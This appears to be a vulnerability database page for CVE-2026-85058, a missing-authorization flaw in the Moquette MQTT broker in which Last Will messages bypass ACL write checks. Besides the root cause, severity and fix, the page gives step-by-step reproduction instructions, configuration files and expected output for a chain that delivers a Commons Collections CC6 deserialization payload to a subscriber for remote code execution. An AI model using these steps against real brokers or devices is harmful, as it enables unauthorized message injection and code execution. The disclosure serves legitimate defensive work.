Skip to content
CVE IDCVE-2026-85058GitHub advisory IDGHSA-9jjc-fw8x-fmwx

io.moquette:moquette-broker has a Missing Authorization issue

CVE-2026-85058 (GitHub advisory GHSA-9jjc-fw8x-fmwx) is a high-severity vulnerability with a CVSS 3.1 base score of 7.5, classed as Missing Authorization (CWE-862), in io.moquette:moquette-broker (Maven). Affected versions: < 0.18.1. It is fixed in 0.18.1.

High7.5Fix availableGitHub reviewed

Published 18 Sept 2026Updated 22 Sept 2026

7.5HighCVSS 3.1
EPSS
0.27%higher than 19% of CVEs
Weakness (CWE)
KEV status
Not in KEV
Published
18 Sept 2026
Updated
22 Sept 2026
Ecosystem
  • Maven
Assigned by (CNA)
GitHub_M

Summary

Source: OSV (GitHub advisory)

Moquette MQTT Broker fails to enforce ACL write permission checks when publishing Will (Last Will and Testament) messages on behalf of disconnected clients. All normal PUBLISH paths (receivedPublishQos0, receivedPublishQos1, receivedPublishQos2) correctly invoke authorizator.canWrite() before publishing, but the Will message publishing path (fireWill() → publishWill() → publish2Subscribers()) completely bypasses this authorization check.

This allows an unauthenticated attacker (when allow_anonymous=true, which is the default) to inject arbitrary messages into any ACL-protected topic by setting a restricted topic as the Will Topic in the CONNECT packet and then disconnecting abruptly via TCP RST.

Other major MQTT Broker implementations (Mosquitto, EMQX, HiveMQ) correctly enforce ACL checks on Will messages, confirming this is a bug, not a design choice.

Details

In the MQTT protocol, a client can declare a "Will" topic and message in the CONNECT packet. When the client disconnects abnormally (without sending a DISCONNECT packet), the Broker publishes the Will message on behalf of the client. Although the Will message content (topic and payload) is entirely controlled by the connecting client — making it functionally equivalent to a PUBLISH — Moquette skips the ACL check for this path.

Root Cause

File: broker/src/main/java/io/moquette/broker/PostOffice.java (v0.18.0)

Will publishing path (lines 286-328) — no canWrite() check:

public void fireWill(Session bindedSession) {
    final ISessionsRepository.Will will = bindedSession.getWill();
    if (will.delayInterval == 0) {
        publishWill(will);  // No canWrite() check!
    } else {
        trackWillSpecificationForFutureFire(...);
    }
}

private void publishWill(ISessionsRepository.Will will) {
    // ... build message ...
    publish2Subscribers(WILL_PUBLISKER, messageExpiryInstant, willPublishMessage);
    // No canWrite() check!
}

Normal PUBLISH path (line 641) — has canWrite() check:

if (!authorizator.canWrite(topic, username, clientID)) {
    LOG.error("client is not authorized to publish on topic: {}", topic);
    return;
}

Additionally, SessionRegistry.createNewWill() (line 408-428) stores the Will topic from the CONNECT packet without any canWrite() pre-check. The fireWill()/publishWill() method is the only publishing path that does not invoke authorizator.canWrite(), creating a complete authorization bypass.

Prerequisites

ConditionWho controlsDefault?Notes
Attacker can establish MQTT connection to BrokerEnvironmentYesallow_anonymous defaults to true
Broker has ACL restricting topic write accessApplicationNoOnly deployments with ACL configured have "bypass" significance, but this is a normal security deployment
Client disconnects abnormally (TCP RST, not DISCONNECT)AttackerYesAttacker simply closes the TCP connection

PoC

Verified against Moquette Broker v0.18.0 (latest release as of 2024-12-27). All scripts are included in the attached GitHub_Advisory_POC.zip. GitHub_Advisory_POC.zip

Environment Setup

Step 1: Download Moquette Broker v0.18.0

Download the official release bundle from GitHub and extract:

curl -L -o /tmp/moquette-0.18-bundle.tar.gz "https://github.com/moquette-io/moquette/releases/download/v0.18.0/distribution-0.18-bundle.tar.gz"
mkdir -p /tmp/moquette-0.18
tar xzf /tmp/moquette-0.18-bundle.tar.gz -C /tmp/moquette-0.18

Step 2: Configure ACL rules

Replace /tmp/moquette-0.18/config/acl.conf with the provided acl.conf (from POC zip), which contains:

# acl.conf - restrict write access to restricted/topic
topic write allowed/topic
topic read restricted/topic

Note: Must use topic rules (not pattern rules). Moquette's AuthorizationsCollector.canDoOperation() skips pattern rules when username is null (anonymous users), because isNotEmpty(null) returns false.

Edit /tmp/moquette-0.18/config/moquette.conf to ensure ACL is enabled. Use the provided moquette.conf (from POC zip) as reference:

# moquette.conf
port 1883
host 0.0.0.0
allow_anonymous true
acl_file config/acl.conf

Step 3: Download dependency and compile POC scripts

Download commons-collections-3.2.1.jar (required by CC6 deserialization chain) and compile the POC Java sources (all from POC zip):

# Download commons-collections (required for CC6 RCE POC only)
# Place commons-collections-3.2.1.jar in /tmp/

# Compile POC scripts
cd /tmp
javac -cp /tmp/commons-collections-3.2.1.jar CC6PayloadGen.java          # CC6 deserialization payload generator
javac -cp /tmp/commons-collections-3.2.1.jar AttackerCC6_v018.java       # Attacker-side full POC (Will bypass + CC6 RCE)
javac MqttDeviceService_v018.java                                         # Victim-side IoT subscriber service

Scripts overview:

ScriptLanguagePurpose
poc_will_bypass.pyPythonLightweight Will ACL bypass verification (no Java/deserialization dependency)
AttackerCC6_v018.javaJavaFull attacker POC: generates CC6 payload, verifies ACL blocks direct PUBLISH, bypasses ACL via Will, verifies victim-side RCE
CC6PayloadGen.javaJavaCC6 deserialization payload generator (dependency of AttackerCC6_v018)
MqttDeviceService_v018.javaJavaVictim-side IoT device subscriber — subscribes to restricted/topic, deserializes received messages via ObjectInputStream.readObject()
MoquetteWillAclBypassPoc.javaJavaStandalone pure-Java POC for v0.15 (no external dependencies, verifies Will ACL bypass only)
acl.confConfigACL rules — restricted/topic read-only, no write
moquette.confConfigBroker configuration — enables ACL, allows anonymous

Reproduction — Will ACL Bypass Only (Python, no dependencies)

This verifies the core vulnerability: Will message bypasses ACL. Uses poc_will_bypass.py.

Terminal 1 — Start the Broker (using Moquette's built-in main class io.moquette.broker.Server):

cd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server

Wait for "Server started" log.

Terminal 2 — Run POC:

python3 poc_will_bypass.py

This script automatically performs:

  1. Subscriber connects and subscribes to restricted/topic
  2. Verifies direct PUBLISH to restricted/topic is blocked by ACL
  3. Attacker connects with Will Topic=restricted/topic, then RST-disconnects
  4. Checks if subscriber received the Will message on the restricted topic

Expected output:

[Step 1] Direct PUBLISH to restricted/topic (should be blocked)
  [+] No message - ACL blocking direct PUBLISH (expected)

[Step 2] Will ACL Bypass on v0.18.0
  SUBACK: 9003000100
  Attacker connected, Will set to 'restricted/topic'
  RST disconnecting attacker...
  [!!!] WILL MESSAGE RECEIVED on restricted/topic!
  [!!!] VULNERABILITY CONFIRMED on Moquette v0.18.0!

Reproduction — Full RCE Chain (Will Bypass + CC6 Deserialization)

This demonstrates the real-world impact: Will bypass + Java deserialization = Remote Code Execution. Uses AttackerCC6_v018.java, CC6PayloadGen.java, and MqttDeviceService_v018.java.

Terminal 1 — Start the Broker (using Moquette's built-in main class io.moquette.broker.Server):

cd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server

Wait for "Server started" log.

Terminal 2 — Start victim subscriber (MqttDeviceService_v018.java):

cd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar MqttDeviceService_v018 localhost 1883

This simulates an IoT device that subscribes to restricted/topic and deserializes received messages via ObjectInputStream.readObject(). Wait for:

[等待中]   等待管理平台下发指令...

Terminal 3 — Run attacker POC (AttackerCC6_v018.java):

cd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar AttackerCC6_v018 localhost 1883

This script automatically performs:

  1. Generate CC6 payload — uses CC6PayloadGen.java to create a Commons Collections CC6 deserialization chain that executes touch /tmp/pwned_by_will_bypass_<timestamp>
  2. Verify direct PUBLISH is blocked — attempts PUBLISH to restricted/topic, confirms ACL blocks it
  3. Bypass ACL via Will — CONNECT with Will Topic=restricted/topic, Will Message=CC6 serialized payload, then RST disconnect
  4. Verify victim-side RCE — checks if /tmp/pwned_by_will_bypass_<timestamp> file was created on the victim

Key verification point: Java CC6 chain triggers exec once during HashMap.put() when constructing the payload (a known CC6 artifact). The POC deletes this file before the Will bypass step, then verifies the file is re-created by the victim's readObject(), confirming the RCE is on the victim side, not a POC construction side-effect.

Expected attacker output (Terminal 3):

=== 攻击者 (CC6原生反序列化链) - Moquette v0.18.0 ===
[1] 生成CC6反序列化payload...
    payload长度: 1189 字节
[2] 直接PUBLISH到restricted topic (应被ACL拦截)...
    已发送
[3] 通过Will消息绕过ACL...
    已连接,Will Topic=restricted/topic
    Will Payload=CC6序列化数据(1189字节)
    RST断开连接...
    已断开,Will消息绕过ACL投递成功
[4] 验证受害者端RCE:
    -rw-r--r-- 1 fire fire 0 ... /tmp/pwned_by_will_bypass_XXXXXXXXXXXXX
    *** RCE成功! Will消息绕过ACL投递CC6 payload,受害者readObject()触发命令执行! ***

Expected victim output (Terminal 2):

[收到消息] MQTT消息到达,长度=1189字节
[反序列化] 正在执行 ObjectInputStream.readObject() ...
[反序列化] 完成,对象类型: java.util.HashMap

Impact

  • Authorization Bypass: Attacker can inject arbitrary messages into any ACL-restricted topic, completely undermining the Broker's access control
  • Remote Code Execution: When subscribers deserialize MQTT message payloads (e.g., using Java ObjectInputStream.readObject()), attacker can inject deserialization gadgets (e.g., Commons Collections CC6 chain) to achieve RCE
  • Affected scope: All IoT/messaging middleware scenarios using Moquette as MQTT Broker with ACL enabled
MetricValueRationale
Attack VectorNetworkMQTT Broker listens on TCP port, network-reachable
Attack ComplexityLowStandard MQTT CONNECT + TCP RST, no special conditions needed
Privileges RequiredNoneallow_anonymous defaults to true
User InteractionNoneFully automated attack
ScopeUnchangedImpact limited to Broker's security domain
ConfidentialityNoneNo data disclosure
IntegrityHighACL write protection completely bypassed
AvailabilityNoneNo service disruption
GitHub_Advisory_POC.zip

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

High7.5Base score from GitHub Advisory Database

Attack Vector AV
Network
Attack Complexity AC
Low
Privileges Required PR
None
User Interaction UI
None
Scope S
Unchanged
Confidentiality C
None
Integrity I
High
Availability A
None

CISA SSVC decision points

Exploitation
poc
Proof-of-concept code is public
Automatable
yes
Attackers can automate this at scale
Technical impact
partial
Limited control of the affected system

CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.

Affected packages

Source: OSV (GitHub advisory)

  • io.moquette:moquette-broker
    Maven
    pkg:maven/io.moquette/moquette-broker
    Affected versions
    < 0.18.1
    Fixed in
    0.18.1
    Show 3 listed versions
    • 0.15
    • 0.16
    • 0.17

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 0.18.1 or later.

Patch commits

  • e23df01Patch commitgithub.com/moquette-io/moquette

    Merge commit from fork

    +152 −1 across 3 files

    • ChangeLog.txt+1 −0
    • broker/src/main/java/io/moquette/broker/PostOffice.java+4 −1
    • broker/src/test/java/io/moquette/integration/WillUnauthorizedPublishTest.java+147 −0
  • f5a323fPatch commitgithub.com/moquette-io/moquette

    Merge commit from fork

    +160 −2 across 3 files

    • ChangeLog.txt+9 −1
    • broker/src/main/java/io/moquette/broker/PostOffice.java+4 −1
    • broker/src/test/java/io/moquette/integration/WillUnauthorizedPublishTest.java+147 −0

Release commits

The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.

  • e8ce833Release commit0.18.1github.com/moquette-io/moquette

Vulnerability intelligence

References

Credits

Questions about CVE-2026-85058

What is the GHSA ID for CVE-2026-85058?
GitHub tracks CVE-2026-85058 as GHSA-9jjc-fw8x-fmwx.
What is the CVSS score of CVE-2026-85058?
CVE-2026-85058 has a CVSS 3.1 base score of 7.5 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
Which versions are affected by CVE-2026-85058?
io.moquette:moquette-broker (Maven): < 0.18.1.
How do I fix CVE-2026-85058?
Upgrade to 0.18.1 or later. The fix is in commits e23df01 and f5a323f.
What is the Package URL (PURL) for CVE-2026-85058?
The affected package's PURL is pkg:maven/io.moquette/moquette-broker.
Is CVE-2026-85058 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-85058. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.27% chance of exploitation in the next 30 days, higher than 19% of CVEs.

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)LoadedRaw JSON
  • CVE.orgLoaded
  • CISA KEV catalogLoaded

Fetched 1 day ago (14 Oct 2026, 10:17 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
SSVC
CVE.org
KEV status
CISA KEV catalog
EPSS
GitHub Advisory Database

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.